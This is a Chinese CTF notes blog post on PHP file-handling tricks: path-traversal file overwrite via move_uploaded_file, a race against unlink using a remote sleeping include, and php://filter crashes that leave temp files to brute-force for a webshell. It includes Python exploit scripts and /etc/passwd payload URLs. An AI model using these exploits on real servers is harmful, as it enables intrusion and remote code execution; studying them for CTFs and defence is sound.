记录一些ctf题目中近期遇到的一些文件操作trick,不定时更新

1.move_uploaded_file

一般用来保存上传的文件,第二个参数一般是最终保存的文件名,针对此函数,若在一定条件下$new_name完全可控,即可以穿越路径,可以对已经存在的文件进行覆盖。

假设正常文件内容如下:

  1. <?php
  2. $filename=$_FILES['file']['name'];
  3. var_dump($filename);
  4. if(file_exists($filename)){
  5. echo "no!";
  6. }else{
  7. echo "yes!";
  8. move_uploaded_file($_FILES['file']['tmp_name'],$filename);
  9. }

exp.py测试:

  1. import requests
  2. files=[('file',('xx/../over.php',"<?php phpinfo();?>"))]
  3. print requests.post(url="http://127.0.0.1/test/move.php",files=files).content

假如此时已经有over.php,这种情况下xx/../over.php来覆盖是无效的,这里$filename获取到的还是over.php

但是此时若代码如下:

  1. <?php
  2. $filename=$_POST['name'];
  3. var_dump($filename);
  4. if(file_exists($filename)){
  5. echo "no!";
  6. }else{
  7. echo "yes!";
  8. move_uploaded_file($_FILES['file']['tmp_name'],$filename);
  9. }

传入的文件名是post传进来的,那么此时xx/../over.php即可达到覆盖的效果。

那么over.php/.能不能进行覆盖呢?结果如下:

exp.py

  1. import requests
  2. files=[('file',('xx/../over.php',"<?php phpinfo();?>"))]
  3. print requests.post(url="http://127.0.0.1/test/move.php",files=files,data={"name":"over.php/."}).content

此时虽然绕过了file_exists()函数,此时判断该文件不存在,但是move保存文件时此时会判断文件存在,因此无法覆盖,所以只能用xx/../over.php来绕过,并且一般正常的上传文件流程里文件名都是通过$_FILES['file']['name']来获取的,基本没有直接$_POST文件名来上传。

2.unlink函数+move_uploaded_file函数

unlink函数用来删除文件,如果我们已经能够上传webshell,但是后面又有unlink,那么此时第一反应肯定是条件竞争

首先当上传的文件名是 xx/. 或者 xx/../xx.php时 unlink时都会将/前面的视作目录,那么肯定会删除失败,

但是move_uoload_file函数能够直接保存该上传的文件,前提当然是文件名是$_POST方式传入的,这两种文件名都能够生成新的文件。

竞争方法:

如果unlink之前存在include($a),并且$a可控,并且allow_url_fopen

$a的值为vps 上的一个 php 脚本,这个脚本只需要 sleep 就行了,比如http://x.x.x.x/sleep.php

sleep.php

  1. <?php
  2. sleep(9999);

然后同时上传文件,并访问文件来getshell

3.include()

①php://filter/string.strip_tags

php7.0的bug

  1. include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell

该方法仅适用于以下php7版本,php5并不存在该崩溃:

  1. php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
  2.  
  3. php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
  4.  
  5. php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复

②.convert.quoted-printable-encode

这个崩溃并不适用于include,require等函数,适用于file函数,file_get_contents函数,readfile函数

  1. php7.0.0-7.0.32
  2.  
  3. php7.0.4-7.2.12
  4.  
  5. php<=5.6.38的版本

5.6.39-5.6.9以内的版本并不存在这个崩溃

  1. <?php
  2. file_get_contents($_GET[a]);
  3.  
  4. payload:
  5. index.php?a=php://filter/convert.quoted-printable-encode/resource=/etc/passwd

在包含的同时要给此存在文件包含的php文件post一个文件,然后用脚本去爆破这个文件即可。

放一个xctf final的exp:

  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. import requests
  5. import string
  6.  
  7. charset = string.digits + string.letters
  8.  
  9. host = "10.99.99.16"
  10. port = 80
  11. base_url = "http://%s:%d" % (host, port)
  12.  
  13. def brute_force_tmp_files():
  14. for i in charset:
  15. for j in charset:
  16. for k in charset:
  17. for l in charset:
  18. for m in charset:
  19. for n in charset:
  20. filename = i + j + k + l + m + n
  21. url = "%s/index.php?function=extract&file=/tmp/php%s" % (base_url, filename) #url根据实际情况改下参数就行
  22. print url
  23. try:
  24. response = requests.get(url)
  25. if 'wwwwwwwwwwwwww' in response.content: #可以利用burp 多线程上传文件
  26. print "[+] Include success!"
  27. return True
  28. except Exception as e:
  29. print e
  30. return False
  31.  
  32. def main():
  33. brute_force_tmp_files()
  34.  
  35. if __name__ == "__main__":
  36. main()

③自包含

也就是自己包含自己,比如index.php?file=index.php,这样也会生成临时文件,但是这样不够稳定,影响服务器性能,推荐前面两种方法。

关于php文件操作的几个小trick的更多相关文章

  1. NSFileManager文件操作的十个小功能

    NSFileManager文件操作的十个小功能 NSFileManager是一个单列类,也是一个文件管理器.可以通过NSFileManager创建文件夹.创建文件.写文件.读文件内容等等基本功能. 下 ...

  2. Python 小程序,对文件操作及其它

    以下是自己写的几个对文件操作的小程序,里面涉及到文件操作,列表(集合,字典)的运用等.比方说,从文件里读取一行数据.分别存放于列表中,再对列表进行操作.如去掉里面的反复项.排序等操作. 常见对文件里行 ...

  3. python笔记2小数据池,深浅copy,文件操作及函数初级

    小数据池就是在内存中已经开辟了一些特定的数据,经一些变量名直接指向这个内存,多个变量间公用一个内存的数据. int: -5 ~ 256 范围之内 str: 满足一定得规则的字符串. 小数据池: 1,节 ...

  4. xutils3 上传文件操作——个人小计

    上传文件注意: 使用KeyValue对象进行添加文件操作 int uid = 2; //普通字段的存储 requestParams.addBodyParameter("uid", ...

  5. 强大的pdf文件操作小工具——PDFtk的小白用法 【转载】

    转载出处https://www.cnblogs.com/basterdaidai/p/6204518.html 前言 作为程序员,大家都知道的,总是会被技术小白问各种跟编程没什么关系的硬件.软件问题. ...

  6. python 小兵(4)之文件操作 小问题

    1.光标不对就用seek 2.文件操作方面注意不要变修改变删除,会爆出文件正在运行不能操作 3.w模式下只有开始打开的时候会清空 4.文件操作的时候用as 后面的参数进行操作,不能用文件名进行操作 5 ...

  7. 野路子出身PowerShell 文件操作实用功能

    本文出处:http://www.cnblogs.com/wy123/p/6129498.html 因工作需要,处理一批文件,本想写C#来处理的,后来想想这个是PowerShell的天职,索性就网上各种 ...

  8. Python学习Day2笔记(集合和文件操作)

    1.集合的使用 列表是有序的可包含重复内容的 集合是无序的不可包含重复内容的 1) 集合关系测试 #列表去重list_1=[1,4,5,6,7,8,9,7,5,4,23,2] #有重复数据 list_ ...

  9. Python基础7:文件操作

    [ 文件操作] 1 对文件操作流程 打开文件,得到文件句柄并赋值给一个变量 通过句柄对文件进行操作 关闭文件 现有文件如下: 昨夜寒蛩不住鸣. 惊回千里梦,已三更. 起来独自绕阶行. 人悄悄,帘外月胧 ...

随机推荐

  1. Centos7--从最小化系统发开发环境

    Centos7--从最小化系统发开发环境 ​程序员总是离不开"环境"的困扰,从进入新手村的那一天就开始手动搞各种环境.虽然阿里云学生服务很方便,但是想弄集群真的买不起.正好实验室有 ...

  2. Centos7.7安装swoole

    系统版本:centos 7.7(查看系统版本:cat /etc/redhat-release) 执行命令安装swoole: yum update -y && yum remove ph ...

  3. 9.动态SQL

    动态 SQL,主要用于解决查询条件不确定的情况:在程序运行期间,根据用户提交的查 询条件进行查询. 提交的查询条件不同,执行的 SQL 语句不同.若将每种可能的情况均逐一 列出,对所有条件进行排列组合 ...

  4. 基于docker搭建elasticsearch集群

    es集群的搭建 - 基于单机搭建elasticsearch集群见官网 https://www.elastic.co/guide/en/elasticsearch/reference/current/d ...

  5. 微信小程序html(wxml)传参

    欢迎加入前端交流群交流知识:749539640 习惯了vue.angular用微信小程序有时候真感觉非人类..需要用data-xxx 先说下我们在vue.angular里事件传参 //html < ...

  6. Mysql(三):表操作

    一 存储引擎介绍 存储引擎即表类型,mysql根据不同的表类型会有不同的处理机制 详见:http://www.cnblogs.com/6324TV/p/8481061.html 二 表介绍 表相当于文 ...

  7. Django模型层:单表操作,多表操作,常用(非常用)字段和参数,Django-model进阶

    一.web应用 二.模板的导入与继承 三.静态文件相关 四.inclusion_tag:返回html片段 五.模型层 一.web应用 -s包括两个部分:web服务器+application -目前阶段 ...

  8. Python 内置函数进制转换的用法(十进制转二进制、八进制、十六进制)

    ↓ 2进制 8进制 10进制 16进制 2进制 - bin(int(x, 8)) bin(int(x, 10)) bin(int(x, 16)) 8进制 oct(int(x, 2)) - oct(in ...

  9. 【CQOI2017】老C的方块

    Description https://loj.ac/problem/3022 Solution 他讲得很清楚 将那篇博客中的红色标号为 \(0\),黄色为 \(1\),蓝色为 \(2\),绿色为 \ ...

  10. SQL 归纳

    查询父节点的所有子节点: SELECT * FROM menu m START WITH m.ID_ = '402882836068695f0160688eebf70006' CONNECT BY m ...